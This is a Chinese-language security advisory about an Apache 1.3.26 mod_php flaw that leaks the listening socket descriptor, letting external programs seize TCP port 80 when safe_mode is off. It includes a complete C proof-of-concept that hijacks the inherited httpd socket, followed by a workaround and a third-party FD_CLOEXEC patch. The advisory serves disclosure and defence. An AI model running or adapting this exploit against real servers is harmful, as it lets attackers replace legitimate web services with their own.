Apache mod_php 文件描述符泄露缺陷

/ns/ld/unix/data/20021123034108.htm

Apache Web 在使用mod_php模块执行外部程序时处理不正确,远程攻击者可利用此缺陷重用httpd守护进程描述符,控制TCP 80端口。

当mod_php启动外部应用程序时,它会继承打开监听的httpd套接口,通过fork(), dup() close() 和accept()调用的帮助,外部程序可以使自己变成为监听的httpd服务程序。因此利用此缺陷攻击者可以绑定恶意的服务程序来代替Apache httpd服务程序。

当然,要想利用此缺陷,目标系统的'safe_mode' PHP选项必须是关闭的。

受影响系统:
Apache Group Apache 1.3.26
- Conectiva Linux 8.0
- Conectiva Linux 7.0
- Conectiva Linux 6.0
- Mandrake Linux 9.0
- Trustix Secure Linux 1.5
- Trustix Secure Linux 1.2
- Trustix Secure Linux 1.1


攻击方法:

/*----tcp4.c----*/
/* TCP Example code by Kien Pham (Heavily documented to help others understand.)
This code is now in Public Domain.
Look ma, I did this all by myself. */

/*
This proggie was taken somewhere from the net as a socket example
Changed a little for interaction with mod_php -- georgi
*/

#include<sys/socket.h> // Include these for socket(), connect(), bind(), etc.
#include<sys/types.h>
#include<netdb.h> // Include this for getprotobyname()
#include<string.h> // Include this for memset()
#include<netinet/in.h> // Include this for htonl(), htons(), etc.
#include<unistd.h>

#define PORT 2000

#define THEFD 16

#define INSIZE 20000

void servermsux()
{
// Variables for the server component of the application.

int file_descriptor; // File descriptor that represents the server socket.
struct sockaddr_in server_address; // Really only contains the port we want to listen on.
int inbound_connection; // File descriptor that represents the socket of the inbound connection.
struct sockaddr_in inbound_address; // Address of the inbound connection.
int inbound_address_size; // Size of the structure for the inbound connection.
unsigned char *address_holder; // Pointer to simplify the extraction of IP addresses.
char message[]="HTTP/1.1 200 OK\nContent-Type: text/html\n\n"
"<h1>Hi<br>MSUX</h1>"; // Constant string to send to the client.
char buffer[INSIZE]; // Buffer to hold incoming data from the client.

// Code for the server component begins here.

file_descriptor=dup(THEFD);

if (file_descriptor<0) // Check to see if there was a failure in allocation.
{
perror("Server: socket()");
return;
}
if (close(THEFD) == -1) {perror("close");return; };
close(1);close(3);
while(42)
{
memset((void*)&inbound_address, 0, sizeof(inbound_address));
inbound_address.sin_family=AF_INET;
inbound_address_size=sizeof(inbound_address); // Make sure you do this, or the inbound_address will not be filled with information about the incomming address.
inbound_connection=accept(file_descriptor, (struct sockaddr*)&inbound_address, &inbound_address_size); //Grab the first socket that represents the client that has connected. If none yet, block and wait till somebody does.
if (inbound_connection<0)
{
perror("2 accept()");
return;
}
address_holder=(unsigned char*)&inbound_address.sin_addr.s_addr; // Save ourselves a call to the OS to convert.

if (read(inbound_connection, buffer, INSIZE)<0) //Read from the client.
{
perror("2 Server: read()");
return;
}

if (write(inbound_connection, message, sizeof(message))<0) // Write the message to the client.
{
perror("2 Server: write()");
return;
}
close(inbound_connection); // Tell the OS to clean up and free resources that we have used.
} //while
close(file_descriptor);
}


int main(void)
{
printf("\n2 TCP Networking Injection Example\n");
printf("Written by Kien Pham\n");
printf("For the Networking mini-Tutorial\n");
if (!fork())
servermsux();

}
/*----end-------*/



解决方案:
临时解决方案:

* 对php.ini文件进行编辑,启用'safe_mode'选项。

-----------------
目前厂商还没有提供补丁或者升级程序,Georage Guninski提供如下第三方补丁:

*** src/main/http_main.c.old Sun Oct 20 14:13:47 2002
--- src/main/http_main.c Sun Oct 20 14:44:18 2002
*************** static int make_sock(pool *p, const stru
*** 3784,3792 ****
--- 3784,3795 ----
GETPRIVMODE();
#endif

+ if (fcntl(s,F_SETFD,FD_CLOEXEC)== -1) ap_log_error(APLOG_MARK, APLOG_CRIT,
server_conf, "make_sock: could not do F_SETFD");
if (bind(s, (struct sockaddr *) server, sizeof(struct sockaddr_in)) == -1) {
ap_log_error(APLOG_MARK, APLOG_CRIT, server_conf,
"make_sock: could not bind to %s", addr);
+ // by georgi
+
#ifdef MPE
if (ntohs(server->sin_port) < 1024)
GETUSERMODE();